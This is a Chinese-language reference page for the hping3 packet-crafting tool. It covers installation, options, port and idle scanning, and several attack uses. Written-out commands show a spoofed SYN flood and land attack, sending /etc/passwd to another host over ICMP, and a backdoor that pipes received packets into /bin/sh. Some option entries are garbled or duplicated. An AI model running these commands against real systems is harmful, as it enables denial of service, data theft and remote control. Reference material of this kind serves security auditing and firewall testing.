hping3

测试网络及主机的安全

补充说明

hping 是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo□目前最新版是hping3□支持使用tcl脚本自动化地调用其API□hping是安全审计、防火墙测试等工作的标配工具□hping优势在于能够定制数据包的各个部分，因此用户可以灵活对目标机进行细致地探测。

安装

```
yum install libpcap-devel tc-devel
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
wget http://www.hping.org/hping3-20051105.tar.gz
tar zxvf hping3-20051105.tar.gz
cd hping3-20051105
./configure
make
make install
```

选项

```
-H --help 显示帮助。
-v -VERSION 版本信息。
-c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。
-i --interval 包发送间隔时间（单位是毫秒）缺省时间是1秒,此功能在增加传输率上很重要,
在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast 每秒发10
个数据包。
-n -nmeric 数字输出，象征性输出主机地址。
-q -quiet 退出。
-I --interface interface name 无非就是eth0之类的参数。
-v --verbose 显示很多信息□TCP回应一般如□len=46 ip=192.168.1.1 flags=RADF seq=0
ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010
urp=0
-D --debug 进入debug模式当你遇到麻烦时，比如用HPING遇到一些不合你习惯的时候，你可以用此
模式修改HPING□□INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE
SETTINGS,.......□
-z --bind 快捷键的使用。
-Z --unbind 消除快捷键。
-O --rawip RAWIP模式，在此模式下HPING会发送带数据的IP头。
-1 --icmp ICMP模式，此模式下HPING会发送IGMP应答报，你可以用--ICMPTYPE --ICMPCODE选
项发送其他类型/模式的ICMP报文。
-2 --udp UDP 模式，缺省下□HPING会发送UDP报文到主机的0端口，你可以用--baseport --
destport --keep选项指定其模式。
-9 --listen signatuer hping的listen模式，用此模式□HPING会接收指定的数据。
-a --spoof hostname 伪造IP攻击，防火墙就不会记录你的真实IP了，当然回应的包你也接收不到
了。
-t --ttl time to live 可以指定发出包的TTL值。
-H --ipproto 在RAW IP模式里选择IP协议。
-w --WINID UNIX ,WINDIWS的id回应不同的，这选项可以让你的ID回应和WINDOWS一样。
```

```
-r --rel 更改ID的，可以让ID曾递减输出，详见HPING-HOWTO
-F --FRAG 更改包的FRAG这可以测试对方对于包碎片的处理能力，缺省的“virtual mtu”是16字节。
-x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务。
-y -dontfrag 发送不可恢复的IP碎片，这可以让你了解更多的MTU PATH DISCOVERY
-G --fragoff fragment offset value set the fragment offset
-m --mtu mtu value 用此项后ID数值变得很大，50000没指定此项时3000-20000左右。
-G --rroute 记录路由，可以看到详悉的数据等等，最多可以经过9个路由，即使主机屏蔽了ICMP报文。
-C --ICMPTYPE type 指定ICMP类型，缺省是ICMP echo REQUEST
-K --ICMPCODE CODE 指定ICMP代号，缺省0。
--icmp-ipver 把IP版本也插入IP头。
--icmp-iphlen 设置IP头的长度，缺省为5（32字节）。
--icmp-iplen 设置IP包长度。
--icmp-ipid 设置ICMP报文IP头的ID缺省是RANDOM
--icmp-ipproto 设置协议的，缺省是TCP
-icmp-cksum 设置校验和。
-icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests)
--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)
-s --baseport source port hping 用源端口猜测回应的包，它从一个基本端口计数，每收一个包，端口也加1，这规则你可以自己定义。
-p --deskport [+][+]desk port 设置目标端口，缺省为0，一个加号设置为:每发送一个请求包到达后，端口加1，两个加号为：每发一个包，端口数加1。
--keep 上面说过了。
-w --win 发的大小和windows一样大64BYTE
-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
-m --tcpseq 设置TCP序列数。
-l --tcpck 设置TCP ack
-Q --seqnum 搜集序列号的，这对于你分析TCP序列号有很大作用。
```

Hping3功能

Hping3主要有以下典型功能应用：

防火墙测试

使用Hping3指定各种数据包字段，依次对防火墙进行详细测试。请参考：http://0daysecurity.com/articles/hping3_examples.html

测试防火墙对ICMP包的反应、是否支持traceroute是否开放某个端口、对防火墙进行拒绝服务攻击DoS attack例如，以LandAttack方式测试目标防火墙Land Attack是将发送源地址设置为与目标地址相同，诱使目标机与自己不停地建立连接）。

```
hping3 -S  -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10
```

端口扫描

Hping3也可以对目标端口进行扫描Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放：

```
hping3 -I eth0  -S 192.168.10.1 -p 80
```

其中-I eth0指定使用eth0端口，-S指定TCP包的标志位SYN-p 80指定探测的目的端口。

hping3支持非常丰富的端口探测方式，nmap拥有的扫描方式hping3几乎都支持（除开connect方式，因为Hping3仅发送与接收包，不会维护连接，所以不支持connect方式探测）。而且Hping3能够对发送的探测进行更加精细的控制，方便用户微调探测结果。当然，Hping3的端口扫描性能及综合处理能力，无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。

Idle扫描

Idle扫描（Idle Scanning）是一种匿名扫描远程主机的方式，该方式也是有Hping3的作者Salvatore Sanfilippo发明的，目前Idle扫描在Nmap中也有实现。

该扫描原理是：寻找一台idle主机（该主机没有任何的网络流量，并且IPID是逐个增长的），攻击端主机先向idle主机发送探测包，从回复包中获取其IPID，冒充idle主机的IP地址向远程主机的端口发送SYN包（此处假设为SYN包），此时如果远程主机的目的端口开放，那么会回复SYN/ACK，此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包，获取其IPID，那么对比两次的IPID值，我们就可以判断远程主机是否回复了数据包，从而间接地推测其端口状态。

拒绝服务攻击

使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接，伪造源地址为192.168.10.99，并使用1000微秒的间隔发送各个SYN包。

```
hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
```

其他攻击如smurf，teardrop，land attack等也很容易构建出来。

文件传输

Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口，对检测到的签名（签名为用户指定的字符串）的内容进行相应的解析。在接收端开启服务：

```
hping3 192.168.1.159--listen signature --safe  --icmp
```

监听ICMP包中的签名，根据签名解析出文件内容。

在发送端使用签名打包的ICMP包发送文件：

```
hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd
```

将/etc/passwd密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节（-d 100）发送签名为signature(-sign signature)。

木马功能

如果Hping3能够在远程主机上启动，那么可以作为木马程序启动监听端口，并在建立连接后打开shell通信。与netcat的后门功能类似。

示例：本地打开53号UDP端口（DNS解析服务）监听来自192.168.10.66主机的包含签名为signature的数据包，并将收到的数据调用/bin/sh执行。

在木马启动端：

```
hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh
```

在远程控制端：

```
echo ls >test.cmd
hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
```

将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口，包数据长度为100字节。

当然这里只是简单的演示程序，真实的场景，控制端可以利益shell执行很多的高级复杂的操作。